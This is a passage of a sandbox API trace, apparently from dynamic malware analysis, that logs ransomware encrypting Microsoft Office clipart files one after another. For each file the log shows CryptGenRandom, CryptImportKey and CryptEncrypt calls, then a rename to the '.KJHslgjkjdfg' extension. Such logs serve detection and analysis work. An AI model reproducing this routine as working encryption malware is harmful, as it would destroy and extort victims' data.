lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x107ec, lpOverlapped=0x0) returned 1 [0182.678] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x107f0, dwBufLen=0x107f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x107f0) returned 1 [0182.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.679] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x107f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x107f0, lpOverlapped=0x0) returned 1 [0182.679] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x108c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.679] SetEndOfFile (hFile=0x114) returned 1 [0182.682] GetProcessHeap () returned 0x2a0000 [0182.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.682] GetProcessHeap () returned 0x2a0000 [0182.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.kjhslgjkjdfg")) returned 1 [0182.684] CloseHandle (hObject=0x114) returned 1 [0182.684] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0182.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.685] GetProcessHeap () returned 0x2a0000 [0182.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.685] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.686] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.688] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.688] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.688] GetProcessHeap () returned 0x2a0000 [0182.688] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.688] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.688] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.688] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.688] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.688] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.689] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.689] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.689] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.689] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.689] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x59ce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x59ce, lpOverlapped=0x0) returned 1 [0182.690] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59d0, dwBufLen=0x59d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59d0) returned 1 [0182.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.690] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x59d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x59d0, lpOverlapped=0x0) returned 1 [0182.691] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.691] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.691] SetEndOfFile (hFile=0x114) returned 1 [0182.694] GetProcessHeap () returned 0x2a0000 [0182.694] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.694] GetProcessHeap () returned 0x2a0000 [0182.694] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.kjhslgjkjdfg")) returned 1 [0182.695] CloseHandle (hObject=0x114) returned 1 [0182.695] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0182.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.696] GetProcessHeap () returned 0x2a0000 [0182.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.697] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0182.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.699] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.699] GetProcessHeap () returned 0x2a0000 [0182.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.699] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.699] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.699] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.700] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.700] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.700] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.700] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.700] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.700] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.700] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d24, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d24, lpOverlapped=0x0) returned 1 [0182.701] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d30, dwBufLen=0x3d30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d30) returned 1 [0182.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.702] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d30, lpOverlapped=0x0) returned 1 [0182.702] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.702] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.702] SetEndOfFile (hFile=0x114) returned 1 [0182.705] GetProcessHeap () returned 0x2a0000 [0182.705] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.705] GetProcessHeap () returned 0x2a0000 [0182.705] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.kjhslgjkjdfg")) returned 1 [0182.706] CloseHandle (hObject=0x114) returned 1 [0182.706] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0182.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.708] GetProcessHeap () returned 0x2a0000 [0182.708] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.708] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.708] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0182.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.714] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.714] GetProcessHeap () returned 0x2a0000 [0182.715] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.715] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.715] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.715] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.715] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.715] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.715] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.715] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.716] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.716] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.716] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4236, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4236, lpOverlapped=0x0) returned 1 [0182.717] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4240, dwBufLen=0x4240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4240) returned 1 [0182.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.717] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4240, lpOverlapped=0x0) returned 1 [0182.718] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.718] SetEndOfFile (hFile=0x114) returned 1 [0182.721] GetProcessHeap () returned 0x2a0000 [0182.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.721] GetProcessHeap () returned 0x2a0000 [0182.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.kjhslgjkjdfg")) returned 1 [0182.723] CloseHandle (hObject=0x114) returned 1 [0182.723] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0182.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.724] GetProcessHeap () returned 0x2a0000 [0182.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.724] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.732] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.732] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.732] GetProcessHeap () returned 0x2a0000 [0182.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.732] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.733] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.733] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.733] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c9c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c9c, lpOverlapped=0x0) returned 1 [0182.735] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ca0) returned 1 [0182.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.735] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ca0, lpOverlapped=0x0) returned 1 [0182.736] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.736] SetEndOfFile (hFile=0x114) returned 1 [0182.738] GetProcessHeap () returned 0x2a0000 [0182.739] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.739] GetProcessHeap () returned 0x2a0000 [0182.739] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft 